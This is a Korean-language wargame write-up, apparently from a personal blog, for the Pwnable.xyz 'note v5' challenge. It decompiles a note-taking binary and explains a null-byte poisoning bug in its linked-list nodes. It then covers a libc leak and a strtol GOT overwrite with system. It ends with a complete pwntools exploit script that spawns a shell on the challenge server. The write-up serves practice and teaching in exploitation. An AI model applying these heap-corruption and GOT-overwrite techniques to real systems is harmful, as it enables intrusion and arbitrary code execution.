tmxklab
[Pwnable.xyz] note v5 본문
1. 문제
nc svc.pwnable.xyz 30047
1) mitigation 확인
2) 문제 확인
- 총 3개의 메뉴가 있으며 노트를 작성하고 읽고 수정하는 프로그램
3) 코드흐름 파악
3-1) main()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 *v3; // rbx
int i; // ebp
__int64 *v5; // r12
int select; // eax
__int64 v7; // [rsp+0h] [rbp-48h]
unsigned __int64 v8; // [rsp+28h] [rbp-20h]
v8 = __readfsqword(0x28u);
setup();
puts("====== Welcome to notes v5 ======");
puts("Here is your favorite note taking, menu driven pwn #0\n");
while ( 1 )
{
_printf_chk(1LL, "Menu:\n 1. Make note.\n 2. Read note.\n 3. Edit note.\n 4. Exit.\n> ");
v3 = &v7;
for ( i = 0; ; ++i )
{
v5 = v3;
if ( (unsigned int)read(0, v3, 1uLL) == -1 )
break;
v3 = (__int64 *)((char *)v3 + 1);
if ( *(_BYTE *)v5 == 10 || i == 13 )
break;
}
*(_BYTE *)v5 = 0;
select = strtol((const char *)&v7, 0LL, 10);
if ( select == 2 )
{
read_note();
}
else if ( select <= 2 )
{
if ( select == 1 )
make_note();
}
else if ( select == 3 )
{
edit_note();
}
else if ( select == 4 )
{
puts("Bye bye o/");
exit(0);
}
}
}
- 메뉴 1 → make_note(), 메뉴 2 → read_note(), 메뉴 3 → edit_note()
3-2) make_note()
void __cdecl make_note()
{
notes *note; // rax
notes *head_1; // rdx
notes *head_2; // rcx
char *content; // rbx
int count; // ebp
int index; // er12
note = (notes *)malloc(0x40uLL);
head_1 = (notes *)head;
head_2 = (notes *)head;
if ( head )
{
while ( head_2->next )
head_2 = head_2->next;
note->index = (int)((unsigned __int64)head_2->index + 1);
while ( head_1->next )
head_1 = head_1->next;
head_1->next = note;
}
else
{
note->index = 0LL;
head = (__int64)note;
}
note->size = 0x28LL;
content = note->content;
count = 0;
_printf_chk(1LL, "Input note: ");
index = *((_QWORD *)content - 2);
if ( index >= 0 )
{
while ( (unsigned int)read(0, content, 1uLL) != -1 && *content != 10 && index != count )
{
++count;
++content;
if ( index < count )
goto LABEL_16;
}
*content = 0;
}
LABEL_16:
_printf_chk(1LL, "\n");
}
- single-linked-list구조로 노드들을 연결하며 생성 갯수는 제한되어 있지 않다.
- 각 노드(청크)들의 마지막 부분에는 next pointer가 온다.
3-3) read_note()
void __cdecl read_note()
{
__int64 *v0; // rbx
int i; // ebp
__int64 *v2; // r12
int index; // ebx
__int64 head_1; // rdx
__int64 v5; // [rsp+0h] [rbp-48h]
unsigned __int64 v6; // [rsp+28h] [rbp-20h]
v6 = __readfsqword(0x28u);
if ( head )
{
_printf_chk(1LL, "Note id: ");
v0 = &v5;
for ( i = 0; ; ++i )
{
v2 = v0;
if ( (unsigned int)read(0, v0, 1uLL) == -1 )
break;
v0 = (__int64 *)((char *)v0 + 1);
if ( *(_BYTE *)v2 == '\n' || i == '\r' )
break;
}
*(_BYTE *)v2 = 0;
index = strtol((const char *)&v5, 0LL, 10);
_printf_chk(1LL, "\n");
head_1 = head;
do
{
if ( index == *(_DWORD *)(head_1 + 8) )
{
_printf_chk(1LL, "Your note: %s\n");
return;
}
head_1 = *(_QWORD *)(head_1 + 56);
}
while ( head_1 );
puts("ERROR: Note not found.");
}
else
{
puts("ERROR: You need to make a note first.");
}
}
- single-linked-list로 연결된 노드들의 index부분에 index와 비교하여 찾으면 해당 content부분을 읽는다.
3-4) edit_note()
void __cdecl edit_note()
{
__int64 *v0; // rbx
int i; // ebp
__int64 *v2; // r12
int v3; // ebp
__int64 head_1; // rbx
__int64 v5; // rax
_BYTE *v6; // rbx
int v7; // er12
int v8; // ebp
__int64 v9; // [rsp+0h] [rbp-48h]
unsigned __int64 v10; // [rsp+28h] [rbp-20h]
v10 = __readfsqword(0x28u);
if ( head )
{
_printf_chk(1LL, "Note id: ");
v0 = &v9;
for ( i = 0; ; ++i )
{
v2 = v0;
if ( (unsigned int)read(0, v0, 1uLL) == -1 )
break;
v0 = (__int64 *)((char *)v0 + 1);
if ( *(_BYTE *)v2 == '\n' || i == '\r' )
break;
}
*(_BYTE *)v2 = 0;
v3 = strtol((const char *)&v9, 0LL, 10);
_printf_chk(1LL, 4198083LL);
head_1 = head;
while ( v3 != *(_DWORD *)(head_1 + 8) )
{
head_1 = *(_QWORD *)(head_1 + 56);
if ( !head_1 )
{
puts("ERROR: Note not found.");
return;
}
}
_printf_chk(1LL, "New note: ");
v5 = *(_QWORD *)head_1;
v6 = (_BYTE *)(head_1 + 16);
v7 = v5;
if ( (int)v5 >= 0 )
{
v8 = 0;
while ( (unsigned int)read(0, v6, 1uLL) != -1 && *v6 != 10 && v7 != v8 )
{
++v8;
++v6;
if ( v7 < v8 )
goto LABEL_17;
}
*v6 = 0;
}
LABEL_17:
_printf_chk(1LL, 4198083LL);
}
else
{
puts("ERROR: You need to make a note first.");
}
}
- single-linked-list로 연결된 노드들의 index부분에 index와 비교하여 찾으면 해당 content부분에 값을 쓴다.
전역변수)
2. 접근방법
1) null byte poison 취약점
- 노트를 3개 생성했을 때 상황이다. 마지막 next pointer를 통해 노드들이 연결되어 있음을 알 수 있다.
- edit_note()를 통해 1번 인덱스의 노트를 수정했을 때 상황이다.
- 최대 28byte까지 입력을 받을 수 있어 28byte 꽉 채워서 변경하게 되면 마지막 next pointer에 위치한 주소의 하위 1byte가 널 값으로 채워지게 된다.
해당 취약점을 이용하여 libc leak하고 aaw를 진행하면 되겠다.
2) libc leak 과정
- null byte poison을 일으켜 next pointer를 주작한다.
- 그러면 이전 노드의 content부분을 가르킨다.
- fake note를 생성한다. → size : 0x100, index : 0xff
- 이후에 0xff를 찾아서 edit를 하게 된다면 값을 0x1788710부터 쓸 수 있고 0x17886f0의 next pointer를 주작할 수 있다.
- read_note()를 통해서 leak하기 위해서 note구조체와 비슷하게 note+0x8위치에 index값이 존재해야 한다.
- index의 type은 int형이므로 stdout의 _lock멤버변수를 릭할 수 있다. index = 0x0a000000(4byte)
- index부분이 달라지면 안되므로 다른 부분에서도 저렇게 index가 고정되어 있고 content부분에 leak할 수 있는 libc주소가 있다면 사용해도 된다.
- edit_note를 이용해서 next pointer를 위에서 찾은 주소에 넣는다.
- 그러면 read_note를 하게 되면 아까 stdout의 멤버변수 _lock을 릭할 수 있을 것이다.
3) strtol@got overwrite
해당 바이너리에서는 index값을 가져오기 위해 strtol()을 사용한다.
예전에 strtol@got에 system함수를 박고 index에 "/bin/sh"를 넣는 방법이 유용해서 해당 방법을 사용하기로 한다.
방법은 위에서 한 방식이랑 같다. read_note대신에 edit_note를 하면 되고 문제는 저 stdout → _lock의 주소 값을 릭하고 나서 libc base address를 계산해야 한다.
먼저 로컬 libc를 까보자
_lock멤버 변수에 어떤 값이 세팅되어 있다. → 0x3c6780
그리고 다시 challenge파일로 돌아와서 확인해보면
_lock변수에는 data영역의 주소 값이 있고 offset이 0x780인 것을 알 수 있다.
그리고 우리가 구해야할 code영역의 base 주소는 0x7ffff7a0d000이다.
data base address(0x7ffff7dd3000) - code base address(0x7ffff7a0d000) = 0x3C6000
결론적으로 leak한 주소에 0x3c6780(0x780+0x3c6000)을 빼면 libc base address를 구할 수 있다.
이걸 통해 아까 로컬 libc를 깠을 때 _lock멤버 변수에 있던 0x3c6780이 offset인 것을 알 수 있다.
그럼 주어진 libc를 까보면 (ㄷㄷ 여기서는 $p _IO_2_1_stdout_이 안먹힘)
stdout 주소 : 0x3942a0
_lock멤버 변수 offset : 0x395770
이걸 통해서 system함수 구하고 strtol@got overwrite한 다음에 menu입력할 때 "/bin/sh"하면 끝
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30047)
e = ELF("./challenge")
libc = ELF("./libc.so")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
system_offset = libc.symbols['system']
signal_offset = libc.symbols['signal']
def make(data):
p.sendlineafter("> ", str(1))
p.sendlineafter("Input note: ", data)
def read(idx):
p.sendlineafter("> ", str(2))
p.sendlineafter("Note id: ", str(idx))
def edit(idx, new_data):
p.sendlineafter("> ", str(3))
p.sendlineafter("Note id: ", str(idx))
p.sendlineafter("New note: ", new_data)
for i in range(25):
make(str(i))
# 1. libc leak
edit(23, "A"*0x28)
edit(22, p64(0x100) + p64(0xff))
edit(0xff, '\x00'*0x18 + p64(0x6015b8))
read(0xA000000)
p.recvuntil("note: ")
leak_addr = u64(p.recv(6).ljust(8, '\x00'))
#libc_base = leak_addr - 0x3c6000 - 0x780
libc_base = leak_addr - 0x395770
system_addr = libc_base + system_offset
signal_addr = libc_base + signal_offset
log.success("leak_addr : " + hex(leak_addr))
log.success("libc_base : " + hex(libc_base))
log.success("system_addr : " + hex(system_addr))
log.success("signal_addr : " + hex(signal_addr))
# 2. strtol@got overwrite
edit(7, "A"*0x28)
edit(6, p64(0x100) + p64(0xff))
edit(0xff, '\x00'*0x18 + p64(e.got['strtol']-0x18))
edit(signal_addr&0xffffffff, p64(0) + p64(system_addr))
p.sendlineafter("> ", "/bin/sh\x00")
p.interactive()
2) 실행결과
4. 몰랐던 개념
구조체 만들어서 쉽게 보는 방법 ㄷㄷ
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] attack (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] AdultVM 3 (0) | 2020.09.09 |
[Pwnable.xyz] AdultVM2 (0) | 2020.09.09 |
[Pwnable.xyz] AdultVM (0) | 2020.09.09 |
[Pwnable.xyz] note v4 (0) | 2020.09.09 |